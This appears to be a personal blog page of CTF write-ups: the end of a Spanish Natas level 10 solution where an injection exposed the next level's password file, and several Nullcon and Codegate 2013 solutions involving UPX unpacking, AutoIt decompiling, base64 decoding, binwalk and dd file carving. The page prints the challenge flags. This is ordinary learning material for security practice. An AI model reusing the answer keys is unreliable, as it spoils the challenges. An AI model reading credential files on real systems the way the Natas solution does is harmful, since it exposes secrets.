dictionary.txt:Americanism's
dictionary.txt:Americanisms
[...]
Bingo!. Vemos que nos matchea todo el contenido de los files que hay en "etc/natas_webpass/natas11" además del dictionary.txt.

Este costo un poco más pero al final salió.

Hasta acá llegué por ahora, luego subiré mas write ups del resto de los niveles.

Hasta pronto.

domingo, 3 de marzo de 2013

Nullcon 2013 BattleUnderground - Reverse Engineering Question 2 Write up

In this level, we were provided with a file called sample2.exe. It is a PE32 packed with UPX.

I used FUU to unpack it but when I executed, the following error message appeared:

"Unable to open the script file."
 I loaded the unpacked file in Ollydbg and saw some string references about "AutoIt", so, I remembered an AutoIt crackme from 2005 I solved it. At that time, I used Aut2Exe v3 but it did not work this time. So, I searched for another AutoIt decompiler and found exe2aut that worked fine. 

I loaded the sample2.exe into exe2aut and this was the result:

$key = "ZjlmMGMyOTZmYzA5OTNlNDMwMDkwYjY5NWI2M2ZhYTQ="
MsgBox(64, "[MSG]", "Much simpler than that"
)
 The value in $key seems to be a base64 encoded string. Decoding that string gave us the flag:

>>> "ZjlmMGMyOTZmYzA5OTNlNDMwMDkwYjY5NWI2M2ZhYTQ=".decode("base64")
'f9f0c296fc0993e430090b695b63faa4'
 The flag was: f9f0c296fc0993e430090b695b63faa4

Nullcon 2013 BattleUnderground - Misc 1&2 Write up

Misc 1

The statement on this level was: "Who wrote the private key on whiteboard just by looking at the public certificate?"

A quick search in Google with the following keywords "whiteboard private key certificate" was all I needed to solve this level.

The first result https://plus.google.com/118187272963262049674/posts/TSDhe5CvaFe with the a comment from Radu Grigore gave me the answer:

"During his own Google interview, Jeff Dean was asked the implications if P=NP were true. He said, "P = 0 or N = 1." Then, before the interviewer had even finished laughing, Jeff examined Google’s public certificate and wrote the private key on the whiteboard."

The flag for this level was: "Jeff Dean".

Misc 2

In this level we were provided with an .img file: 8cb94a0d097f0fc0b34fe9729c6ce11c.img

First thing to do is to use binwalk to see what is inside:

ncr@poxyran:~/Desktop/nullcon$ binwalk 8cb94a0d097f0fc0b34fe9729c6ce11c.img

DECIMAL       HEX           DESCRIPTION
-------------------------------------------------------------------------------------------------------
223255        0x36817       LZMA compressed data, properties: 0x01, dictionary size: 33554432 bytes, uncompressed size: 16777216 bytes
224263        0x36C07       LZMA compressed data, properties: 0x01, dictionary size: 33554432 bytes, uncompressed size: 723517440 bytes
4195328       0x400400      gzip compressed data, from Unix, last modified: Mon Feb 18 03:23:14 2013
8388608       0x800000      Linux EXT filesystem, rev 1.0 ext3 filesystem data, UUID=e3362b15-1b48-47a3-80bb-134ffd3ffd3f


There is an EXT filesystem inside plus a gzip file and two LZMA compressed streams. Let's first extract the gzip using dd:

ncr@poxyran:~/Desktop/nullcon$ dd if=8cb94a0d097f0fc0b34fe9729c6ce11c.img of=elgzip.tar.gz skip=4195328 bs=1 count=4193280

Why I extracted the gzip file first? Well, that's because I first used the strings utility over the .img file and this is what I found:

ncr@poxyran:~/Desktop/nullcon$ strings 8cb94a0d097f0fc0b34fe9729c6ce11c.img | less

lost+found
lost+found
backup
Key.tar.gz
(END)
 

Inside the gzip file there was a file called Key.txt file. Extracting and opening the Key.txt gave us the flag:
  
c701c556565490732b28c009d1c6027b

Codegate 2013 - Misc 100 Write up

This weekend, two CTF competition were held: Codegate 2013 & Nullcon 2013 BattleUnderground. I was playing with my teammates Francisco and Archie.
 
This level was pretty easy, it was related to the movie "The Net" from 1995 with Sandra Bullock.

I just downloaded the subtitles of the movie and then I looked for words like "contraseña" (my subtitles were in Spanish), "login", etc; and this is what I found:

01:31:10,654 --> 01:31:13,121
<i>''Contraseña:/natoar23ae''</i>

The flag was: natoar23ae